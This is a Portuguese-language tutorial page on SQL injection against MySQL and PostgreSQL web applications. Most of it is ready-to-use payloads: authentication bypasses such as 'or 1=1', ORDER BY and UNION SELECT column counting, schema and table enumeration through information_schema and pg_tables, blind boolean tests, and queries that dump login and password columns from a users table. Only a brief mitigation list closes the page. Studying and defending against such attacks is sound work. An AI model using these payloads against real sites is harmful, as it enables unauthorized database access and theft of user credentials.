Pular para o conteúdo principal

sqli

O SQL Injection é uma vulnerabilidade de segurança que ocorre quando um aplicativo web não valida corretamente as entradas do usuário e permite que um invasor insira comandos SQL maliciosos. Com essa brecha, um atacante pode manipular consultas SQL para acessar, alterar ou excluir informações no banco de dados, comprometendo a integridade e confidencialidade dos dados armazenados.


Conceito Básico

SQL, que significa Structured Query Language, é uma linguagem utilizada para gerenciar bancos de dados, mas não é o banco de dados em si. Os principais bancos de dados que utilizam SQL incluem:

  • Oracle
  • SQL Server
  • MySQL
  • DB2
  • PostgreSQL

Exemplos de SQL Injection

SQLi Básico

Na forma mais básica de SQL Injection, o invasor insere dados maliciosos em um formulário ou através de parâmetros na URL para manipular consultas. Por exemplo:

  • Preenchimento no formulário:

    teste' or 1=1;#
  • Método GET via URL:

    http://intranet.businesscorp.com.br:8080/cat.php?id=3 or 1=1;#

Limitando o Número de Saídas

É possível limitar o número de saídas usando a cláusula LIMIT em conjunto com SQL Injection. Por exemplo:

teste' or 1=1 limit 1;#

Descobrindo o Número de Colunas

Para descobrir o número de colunas em uma tabela, pode-se fazer tentativas incrementais na cláusula ORDER BY até que um erro ocorra. Por exemplo:

http://<host>/cat.php?id=-1 order by 1
http://<host>/cat.php?id=-1 order by 2
http://<host>/cat.php?id=-1 order by 3
http://<host>/cat.php?id=-1 order by 4
http://<host>/cat.php?id=-1 order by 5 (Com erro - tabela possui 4 colunas)

Descobrindo o Número de Colunas usando UNION SELECT

Outra maneira de descobrir o número de colunas é através do uso da cláusula UNION SELECT. Por exemplo:

http://<host>/cat.php?id=-1 union select 1
http://<host>/cat.php?id=-1 union select 1,2
http://<host>/cat.php?id=-1 union select 1,2,3
http://<host>/cat.php?id=-1 union select 1,2,3,4 (Com erro - tabela possui 4 colunas)

Obtendo Informações do Banco de Dados

Uma vez que o número de colunas é conhecido, pode-se obter informações do banco de dados, como a versão do MySQL, o nome do banco de dados, os usuários atuais, as tabelas existentes e suas colunas. Por exemplo:

http://<host>/cat.php?id=-1 union select 1,@@version,3,4
http://<host>/cat.php?id=-1 union select 1,database(),3,4
http://<host>/cat.php?id=-1 union select 1,current_user(),3,4
http://<host>/cat.php?id=-1 union select 1,schema_name,3,4 from information_schema.schemata
http://<host>/cat.php?id=-1 union select 1,table_name,3,4 from information_schema.tables;
http://<host>/cat.php?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema="nome_do_db";
http://<host>/cat.php?id=-1 union select 1,column_name,3,4 from information_schema.columns where table_schema="nome_do_db" and table_name="nome_tabela";

Efetuando um Dump de Dados

Uma vez que se sabe o nome da tabela e das colunas, pode-se efetuar um dump de dados do banco de dados. Por exemplo:

http://<host>/cat.php?id=-1 union select 1,login,3,4 from users;
http://<host>/cat.php?id=-1 union select 1,password,3,4 from users;

Exibindo Mais de uma Informação por Vez

Também é possível combinar informações em uma única saída. Por exemplo:

http://<host>/cat.php?id=-1 union select 1,concat(login,':',password),3,4 from users;

SQL Injection (Blind)

O SQL Injection Blind ocorre quando a aplicação não exibe mensagens de erro ou informações úteis para o invasor. Ele precisa usar a lógica booleana para inferir se as consultas são verdadeiras ou falsas.

Exemplos de SQL Injection Blind

  • Verificando o número de colunas:

    1' and 1=1 order by 1# (Com retorno da aplicação)
    1' and 1=1 order by 2# (Com retorno da aplicação)
    1' and 1=1 order by 3# (Sem retorno da aplicação - duas colunas)
  • Obtendo informações do banco de dados:

    1' and 1=1 union select 'null',null,null,null (Com erro)
    1' and 1=1 union select null,'null',null,null (Sem erro)

SQL Injection no PostgreSQL

Abaixo estão algumas técnicas comuns de SQL Injection no PostgreSQL.

Descobrindo o número de colunas

Para determinar o número de colunas em uma tabela, o invasor pode usar a cláusula order by e incrementar o valor até encontrar o primeiro erro.

Exemplo:

http://<host>/cat.php?id=-1 order by 1 (Sem erro)
http://<host>/cat.php?id=-1 order by 2 (Sem erro)
http://<host>/cat.php?id=-1 order by 3 (Sem erro)
http://<host>/cat.php?id=-1 order by 4 (Sem erro)
http://<host>/cat.php?id=-1 order by 5 (Com erro)

Neste caso, a tabela possui 4 colunas.

Descobrindo o número de colunas através do UNION SELECT

O invasor pode usar a técnica UNION SELECT para determinar o número de colunas em uma consulta.

Exemplo:

http://<host>/cat.php?id=-1 union select null (Com erro)
http://<host>/cat.php?id=-1 union select null,null (Com erro)
http://<host>/cat.php?id=-1 union select null,null,null (Com erro)
http://<host>/cat.php?id=-1 union select null,null,null,null (Sem erro)
http://<host>/cat.php?id=-1 union select null,null,null,null,null (Com erro)

Nesse caso, a tabela possui 4 colunas.

Validando a coluna para obter informações

Após determinar o número de colunas, o invasor pode validar qual coluna contém informações relevantes para a extração.

Exemplo:

http://<host>/cat.php?id=-1 union select 'null',null,null,null (Com erro)
http://<host>/cat.php?id=-1 union select null,'null',null,null (Sem erro)
http://<host>/cat.php?id=-1 union select null,null,'null',null (Com erro)
http://<host>/cat.php?id=-1 union select null,null,null,'null' (Com erro)

Neste caso, a aplicação replica a informação na página através do campo dois.

Enumerando informações do banco de dados

Uma vez que o invasor determinou as colunas relevantes, ele pode prosseguir para obter informações do banco de dados.

  • Verificar todos os bancos de dados:

    http://<host>/cat.php?id=-1 union select null,datname,null,null from pg_database;
  • Verificar todas as tabelas:

    http://<host>/cat.php?id=-1 union select null,tablename,null,null from pg_tables;
    http://<host>/cat.php?id=-1 union select null,table_name,null,null from information_schema.tables;
  • Verificar as tabelas em um banco de dados específico:

    http://<host>/cat.php?id=-1 union select null,table_name,null,null from information_schema.tables where table_catalog='nome_do_db';
  • Verificar as colunas de uma tabela:

    http://<host>/cat.php?id=-1 union select null,column_name,null,null from information_schema.columns where table_name='nome_da_tabela';

Extraindo dados

Uma vez que o invasor conhece o nome da tabela e das colunas, pode efetuar um dump de dados sensíveis.

Exemplo:

http://<host>/cat.php?id=-1 union select null,login,null,null from users;
http://<host>/cat.php?id=-1 union select null,password,null,null from users;

Mitigação de SQL Injection

Para evitar SQL Injection, é fundamental adotar práticas seguras de programação:

  • Use consultas parametrizadas (prepared statements) ou ORM (Object-Relational Mapping) para evitar a inserção direta de dados do usuário nas consultas SQL.
  • Realize a validação e sanitização adequada de todas as entradas do usuário antes de incorporá-las em consultas SQL.
  • Limite os privilégios de acesso do usuário do banco de dados para minimizar os danos em caso de exploração bem-sucedida.
  • Mantenha o software do banco de dados e do aplicativo atualizado com as últimas correções de segurança.
  • Monitore os logs do aplicativo e do banco de dados em busca de atividades suspeitas.

Ao seguir essas práticas, é possível reduzir significativamente o risco de SQL Injection no PostgreSQL.